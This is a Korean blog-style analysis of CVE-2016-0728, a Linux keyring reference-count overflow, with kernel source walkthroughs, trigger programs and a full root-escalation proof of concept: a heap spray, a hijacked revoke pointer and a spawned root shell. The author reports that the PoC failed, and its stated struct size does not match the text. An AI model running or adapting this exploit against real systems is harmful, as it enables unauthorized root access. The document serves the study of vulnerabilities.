목차
1. 개요
첫 커널 원데이 분석을 잡은 건 CVE-2016-0728 이다. 해당 취약점은 2012년부터 존재했지만 2016년에 와서야 발견되었으며 Linux PC뿐만 아니라 Android device 에도 영향을 끼친다. 케이스 스터디를 진행하면서 약간 꺼림찍한 부분이 있었다.
자료를 계속 찾으면서 알게 된 점은 이 취약점은 smap이나 smep 옵션만 켜져있어도 트리거되지 않는다. 여태 했던 케이스스터디 들은 막 미티게이션 다 걸려있는 실제 환경에서 우회하고 조지고 이랬는데..
그래서 실제 PoC 코드를 보면 commit_creds 함수와 prepare_kernel_cred 함수 주소를 그냥 알고있다는 가정하에 즉, KASLR 우회에 대한 동작은 따로 없다. 아마 다른 취약점을 이용해서 구했다고 하고, 단지 실제 발견된 취약점을 위주로 증명하는 방식으로 글이 작성된 것 같다.
3.8 버전의 커널에서 동작한다고 하는데 처음에 4.14 에서 테스트하다가 잘 안돼서 다양한 버전을 확인해보면서 최종적으로 3.18.24 버전에서 분석을 진행하였다.
2. 취약점
해당 취약점은 사실 악용된 경우가 없다고 한다. 현실적이지 않은 취약점이라는 결론이 나오는데 그래도 취약점은 취약점이니..
CVE-2016-0728 이 취약점은 리눅스 커널 패스워드 관리 및 저장 기능을 가지고 있는 keyrings에서 참조되는 count 수에 대해 발생하는 Interger overflow이다.
keyring이란?
커널에 있는 보안 데이터, 인증키, 암호화 키 등 여러 데이터를 저장하는 역할하는 놈이며 struct key 형태로 구성되어 있다. user space 공간에 있는 키 관련된 기능을 keyctl() 함수를 이용하여 처리가 가능한데 그 내부에서 취약점이 존재한다.
요약하자면, keyctl은 리눅스의 키(key)를 보유 및 관리하는 시스템이다. " cat /proc/keys " 명령을 통해서 현재 세션에서 관리되는 keyring들을 확인 할 수 있다.
우리가 직접 keyring을 현재 세션에서 생성할 수도 있는데 이는 전에 말한 keyctl() 함수를 이용하고 첫번째 인자를 통해서 수행되는 기능을 결정할 수 있다. keyring은 서로 다른 프로세스에서 접근이 가능하며 이 경우 ref-count수가 증가되는데 ref-count 가 담기는 변수가 int형 자료형이여서 2^32번 이상의 참조가 발생하면 Interger overflow가 발생한다
취약한 로직이 존재하는 함수는 join_session_keyring 함수이다.
join_session_keyring 함수란?
join_session_keyring 함수는 프로세스가 등록 된 세션 키링을 변경하는 역할을 한다. 본질적으로 각 프로세스에 대해 시작 이후 세션 키링을 소유하는데 만약 주어진 이름으로 검색되는 키링이 존재하면 현재 프로세스의 세션 키링을 업데이트하고 존재하지 않다면 새로운 세션 키링을 생성하는 과정을 거친다.
/*
* Join the named keyring as the session keyring if possible else attempt to
* create a new one of that name and join that.
*
* If the name is NULL, an empty anonymous keyring will be installed as the
* session keyring.
*
* Named session keyrings are joined with a semaphore held to prevent the
* keyrings from going away whilst the attempt is made to going them and also
* to prevent a race in creating compatible session keyrings.
*/
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false);
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring);
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
C++
복사
위 함수는 keyctl(KEYCTL_JOIN_SESSION_KEYRING, '이름') 으로 호출 시킬 수 있다. 즉 현재 세션에서 원하는 이름으로 keyring을 생성할 수 있다. 위 코드를 분석해보자
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
C++
복사
•
keyctl() 함수에서 2번째 인자에 null을 주게되면 keyring 이름이 랜덤하게 생성된다. 우리가 테스트하려는 경우는 이름을 줄 것이기 때문에 해당 조건문으로는 들어오지 않는다
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false); // ref-count 증가
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc( // 주어진 이름으로 세션 키링 생성
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring); // ref-count 증가
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring); // ref-count 감소
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
C++
복사
2.1) 처음 호출되는 경우
1.
find_keyring_by_name : 2번째 인자로 주어진 키링이 존재하는지 검색한다.
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc( // 주어진 이름으로 세션 키링 생성
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
C++
복사
•
검색에 실패하면 새로운 키링 세션을 생성한다.
keyring_alloc()→ key_alloc() 함수를 통해 실제 생성이 진행되며 해당 함수 내부에서 ref-count를 1로 설정한다 - 토글 클릭
2.
install_session_keyring_to_cred : 세션 키링을 생성했으므로 설치를 진행한다 - 세팅하는 느낌
ret = install_session_keyring_to_cred(new, keyring); // ref-count 증가
if (ret < 0)
goto error2;
//생략
okay:
return ret;
C++
복사
install_session_keyring_to_cred 이 과정에서 ref-count가 하나 더 증가하여 2가 된다 - 토글 클릭
3.
key_put 가 호출되어 ref-count가 -1 감소되어 최종적으로 1이 된다
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring); // ref-count -1
okay:
return ret;
C++
복사
key_put - 토글 클릭
•
처음 호출된 결과
pwndbg> p* (struct key*)0xffff88003c634000
$6 = {
usage = {
counter = 1 # here !!
},
serial = 862173999,
{
graveyard_link = {
next = 0xffff88003c770248,
prev = 0x0 <irq_stack_union>
},
serial_node = {
__rb_parent_color = 18446612133328650824,
rb_right = 0x0 <irq_stack_union>,
rb_left = 0x0 <irq_stack_union>
}
},
sem = {
Bash
복사
2.2) 두 번 이상 호출되는 경우
keyring = find_keyring_by_name(name, false);
if (PTR_ERR(keyring) == -ENOKEY) {
// 현재 존재하므로 여기론 안들어옴
} else if (IS_ERR(keyring)) { // 에러시 들어옴. 정상적이라면 안들어옴
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
/* Here means that the input name just match with old keyring */
ret = 0;
goto error2; // bug here !
}
// 생략
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
C++
복사
•
find_keyring_by_name으로 주어진 이름에 해당하는 키링이 있는지 검색한다. 여기서 위에서 봤듯이 ref-count가 +1 된다. 그렇다면 최종 현재로는 ref-count가 2일 것이다
•
현재 존재하므로 마지막 else if 문으로 들어오게 된다
•
find_keyring_by_name 으로 반환된 keyring 값과 현재 세션 keyring 값을 비교하는데 정확히 두개가 일치하므로 업데이트 필요없이 ret에 0을 넣는다.
취약점은 여기서 발생한다. ret=0을 하고 error2로 한 뒤, 뮤텍스 락을 해제하고 abort_creds() 함수를 호출한다. - 토글 클릭
abort_creds() 가 호출되면 기능적 상으로는 ref-count가 증가되지만 해당 함수가 호출되고 동기적으로 바로 ref-count가 감소되지 않는다.
이게 뭔말이냐면 실제 abort_creds() 함수에서 ref-count를 감소시키는 역할을 하는 놈은 바로 rcu이다. rcu는 비동기적으로 콜백 함수를 통해 ref-count를 감소시키므로 정확히 언제 감소되는지를 알기란 애매하다. 자세한 건 뒤에서 다룰테니 지금은 그냥 그렇다고 알고있쟈
실제 취약점은 바로 아래 부분에서 발생한다
} else if (keyring == new->session_keyring) {
/* Here means that the input name just match with old keyring */
ret = 0;
goto error2; // bug here !
}
C++
복사
이미 프로세스에 등록 된 키링을 사용하여 세션 참여를 요청하는 경우에는 ref-count가 증가되면 안된다. 검색을 위해 find_keyring_by_name 함수가 호출될 때 ref-count가 +1 증가되므로 만약 등록된 키링이라면 다시 put_key() 를 호출하여 ref-count를 감소시켜야 하지만, 해당 로직이 없어 존재하는 키링에 지속적으로 접근하는 경우 ref-count를 overflow 시킬 수 있다는 게 핵심이다.
다시 말하면 가령 A 라는 프로세스에서 세션 키링을 생성했으면 해당 세션 키링은 A 프로세스가 돌고 있을 동안 만 사용되야 한다. 따라서 A라는 프로세스 내부에서 cat /proc/keys 를 해보면 등록한 세션 키링을 확인 할 수 있지만 프로세스가 종료 된 후 다시 확인해보면 출력이 안된다
예시)
1. ss.c - 커널 버전 4.15.03 → 취약점이 패치 된 버전
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
int main()
{
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
system("cat /proc/keys");
return 0;
}
C++
복사
내부에선 TestSession 키링이 확인되지만 프로세스가 종료된 후에는 확인 할 수 없다
2. ss.c - 커널 버전 3.18.25 → 취약한 버전
동일한 코드를 3.18.25 버전에서 확인 한 결과 프로세스가 종료되어도 키링 세션 ref-cout를 확인 할 수 있다
3. trigger
테스트를 위해 세션 키링을 생성하고, 100번 참조했을 때의 ref-count가 어떻게 되는지 보자
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING,
"leaked-keyring"); // first time, create this keyring
if (serial < 0) {
perror("keyctl");
return -1;
}
printf("create keyring: %d\n", serial);
if (keyctl(KEYCTL_SETPERM, serial,
KEY_POS_ALL | KEY_USR_ALL) < 0) { // key permissions set
// KEY_POS_ALL Grant the (view,read,write,search,link,setattr) permission to a process that possesses the key
// KEY_USR_ALL Grant permissions to all same UID process
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, // keep triggerring
"leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
system("cat /proc/keys");
}
return 0;
}
C++
복사
100번 for문을 돌 때마다 cat /proc/keys 명령으로 확인해보았다. 보면 100넘 넘기는 ref-count 값이 확인되는데, 실제 종료 후 직접 확인해보면 ref-count가 100인 것을 알 수 있다.
즉 위에서 말한 aborts_creds()가 rcu 메커니즘에 의해 호출되므로 루프마다 ref-count를 확인했을 때는 아직 감소가 적용되지 않아서 저렇게 보이는 것이고 프로그램이 종료되고 확인했을 때는 내부에서 rcu가 감소를 시켜 100으로 계산되는 것이다.
그렇다면 0xffffffff + 1 만큼 참조를 시킨 뒤 결과를 보자.
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
int main()
{
int i;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);
for(i = 0; i < 0xffffffff; i++)
{
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
}
system("cat /proc/keys");
return 0;
}
C++
복사
0xffffffff 번 루프를 돌게 해도 실제 내부에선 세션 키링(ref-count)가 +2 증가되고 abort_creds() 를 통해 rcu가 -1 감소시킨다고 했다. 그래서 +2가 되는 시점에 ref-count가 0이 되는 타이밍이 있을 것이고, 이 때 내부 garbase collector가 실제론 사용중이지만 ref-count가 0이라고 판단하여 free를 시킬 것이다. 그 후 전에 공부한 slub allocator에 의해 kmem cache freelist에 들어갈 것이다.
위 코드를 돌리면 다음과 같은 결과가 나온다
dmesg를 보면 put_cred_rcu() 부분에서 커널 패닉이 발생했다. usage를 보면 예상대로라면 0이 되야하지만 왠지는 모르게 -14894 값이 들어가있다.
중요한 것은 cat /proc/keys 를 확인해보면 아무 것도 뜨지 않는다. 코드에서 루프를 돌면서 ref-count가 0xffffffff + 1 이 되는 시점에 키링 객체가 free되었다는 것을 알 수 있다.
4. PoC
그렇다면 우리는 현재 사용중인 세션 키링을 Integer Overflow를 이용하여 free 시킬 수 있다는 걸 알고있다. 즉 UAF가 발생한다는 것이다.
익스 시나리오는 다음과 같다
1.
Interger Overflow를 이용하여 세션 키링의 ref-count를 0으로 만든다
2.
ref-count가 0이 되는 순간 내부 Garbage Collector에 의해 해당 객체는 free 된다
3.
slub allocator에 의해 kmem_cache 내부 freelist에 추가된다
4.
세션 키링과 동일한 사이즈의 메모리를 요청한다. (가령 kmalloc 같은 걸로)
5.
slub allocator는 최근에 free된 세션 키링 오브젝트를 재할당 해준다
6.
할당받은 메모리 영역은 사실 세션 키링 오브젝트와 동일하므로 해당 영역에 overwrite를 한다
7.
실제론 세션 키링은 free된 것이 아니기 때문에 유저 공간에서 세션 키링의 특정 기능을 호출한다
8.
즉 revoke 라는 것을 이용하면 세션 키링 내부의 함수포인터를 호출하게 되는데 이 부분을 ret2usr 기법을 이용하여 LPE를 진행한다
이렇게 세션 키링 객체에의 동일한 사이즈를 요청하면 freelist의 오브젝트를 재할당 해주고, 할당 받은 영역에 데이터를 쓰는 행위는 바로 기존의 세션 키링을 overwrite 할 수 있다는 소리이다.
그렇다면 세션 키링은 어떻게 재할당 받을 수 있을까.
이건 커널에서 UAF를 이용한 CTF 문제를 풀었던게 도움이 되었다. 결론부터 말하자면 참조한 글에서는 IPC 통신을 이용하였다고 한다. 처음에는 IPC를 이용해서 어떻게 한다는 건지 잘 이해가 되지 않았지만 삽질 끝에 이해를 하게되었다.
IPC는 프로세스간 통신을 할 때 사용하는 건데 우리는 다음과 같이 IPC를 이용할 수 있다
•
int msqid = msgget (IPC_PRIVATE, 0644 | IPC_CREAT);
•
msgsnd (msqid, & msg, sizeof (msg.mtext), 0);
msgget 함수를 이용해서 IPC 통신을 위한 메시지 큐 id를 할당받고, msgsnd 함수를 통해서 msg에 담긴 데이터를 전송할 수 있다. msg는 정해진 구조체에 맞춰서 생성해야한다
struct {
long mtype;
char mtext[BUFF_SIZE];
} msg;
C++
복사
추가적으로 IPC 통신에서 msg가 전송될 때 msg_mgs 라는 구조체 형태의 헤더가 붙는다.
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
C++
복사
요 구조체의 사이즈는 0x30이다. 일단 기억해두자.
msgsnd 함수는 실제 do_msgnd 시스템 콜이 호출된다
long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
ns = current->nsproxy->ipc_ns;
if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
[1] msg = load_msg(mtext, msgsz);
...
C++
복사
load_msg ㄱㄱ
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG);
[2] if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
...
C++
복사
alloc_msg 에서 할당 받은 버퍼에다가 copy_from_user를 이용해서 mtext에 들어있는 값을 복사한다. 이 과정이 바로 우리가 이용하려는 부분이다. 할당받은 버퍼가 사실은 현재 살아있는 세션 키링 오브젝인 것이다.
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
[3] alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
alen = min(len, DATALEN_SEG);
[4] seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
...
C++
복사
실제 alloc_msg 내부에서 msg_msg 헤더 사이즈 0x30와 주어진 mtext 사이즈를 더한 만큼 버퍼를 할당한다.
정리하면 세션 키링 오브젝트 사이즈는 0xd8로 고정이다. 우리가 IPC 통신을 이용해서 세션 키링을 재할당받으려면 0xd8 사이즈를 요청해야한다.
alloc_msg 에서는 msg 헤더까지 포함한 사이즈가 kmalloc되므로 실제로는 0xd8-0x30=0x88 사이즈만큼만 이용할 수 있고 이 말인 즉슨, 세션 키링의 하위 0x88 바이트만 덮을 수 있다는 것이다.
그럼 세션 키링의 어디를 덮을 까. 바로 아래 부분을 덮으면 된다
struct key {
atomic_t usage; /* number of references */
key_serial_t serial; /* key serial number */
union {
struct list_head graveyard_link;
struct rb_node serial_node;
};
struct rw_semaphore sem; /* change vs change sem */
struct key_user *user; /* owner of this key */
void *security; /* security data for this key */
//생략
union {
struct keyring_index_key index_key;
struct {
struct key_type *type; /* type of key */
char *description;
};
};
//생략
C++
복사
key 구조체 필드 중 key_type 이라는 구조체가 있다.
struct key_type {
/* name of the type */
const char *name;
/* default payload length for quota precalculation (optional)
* - this can be used instead of calling key_payload_reserve(), that
* function only needs to be called if the real datalen is different
*/
size_t def_datalen;
/* vet a description */
int (*vet_description)(const char *description);
/* Preparse the data blob from userspace that is to be the payload,
* generating a proposed description and payload that will be handed to
* the instantiate() and update() ops.
*/
int (*preparse)(struct key_preparsed_payload *prep);
/* Free a preparse data structure.
*/
//생략
int (*match_preparse)(struct key_match_data *match_data);
/* Free preparsed match data (optional). This should be supplied it
* ->match_preparse() is supplied. */
void (*match_free)(struct key_match_data *match_data);
/* clear some of the data from a key on revokation (optional)
* - the key's semaphore will be write-locked by the caller
*/
void (*revoke)(struct key *key); // 요놈을 이용할꺼임
//생략
C++
복사
key_type 구조체 내부에는 다양한 함수포인터 들이 있다. 바로 요 함수포인터 중 revoke 함수포인터 부분을 덮은뒤 저 함수포인터가 호출되게끔 하면 된다.
요약하자면 위와 같다.
revoke는 keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING 이렇게 유저에서 호출시킬 수 있다.
POC 코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff8106a0e0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8106a3f0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[])
{
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type *my_key_type = NULL;
int msqid;
struct
{
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke; // backdoor function
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(20);
/* here we are going to leak the last references to overflow */
for (i=0; i<3; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i = 0; i < 64;i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
//sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
C++
복사
결과적으론 RCE에 실패했다.
Call Trace를 자세히 보면 revoke_key 부분이 호출되었다는걸 알 수 있다. 계획대로라면 해당 함수포인터를 overwrite 하여 LPE로 이어져야하는데 뭔가 free된 세션 키링 오브젝트를 제대로 할당받지 못한 듯 보인다.
5. 정리
우선 현재 vmware 우분투 → qemu 환경에서 테스트를 진행하고 있는데 Interger Overflow를 일으키는데 12시간이 걸렸다. 이렇게 총 3번, 3일 테스트를 하였으며 실패를 했고 enable-kvm옵션으로 속도 향상을 시켜 1시간으로 2^32 loop 도는 시간을 단축시켰다.
그 후 대략 10번의 시도를 더 했지만 이마져도 실패하였다. 해당 취약점은 위에서 설명한데로 abort_creds() 가 rcu에 의해 호출되야지만 ref-count가 +2 → -1 감소하여 +1이 된다. 이론상 딱 ref-count가 0이 됬을 때 msgsnd() 함수를 호출하여 free된 세션 키링 오브젝트를 재할당 받아야하지만 그 타이밍을 맞추기가 상당히 어려울 뿐더러 시간이 너무 오래걸린다.
계속 실패하면서 아쉬운 마음에 디버거를 붙여서도 확인도 해봤지만 타이밍 문제 때문에 결국 여기까지만 하도록 결정지었다. poc 글에서도 대부분의 사람들이 해당 poc는 동작하지 않는다는 얘기를 하고 있다.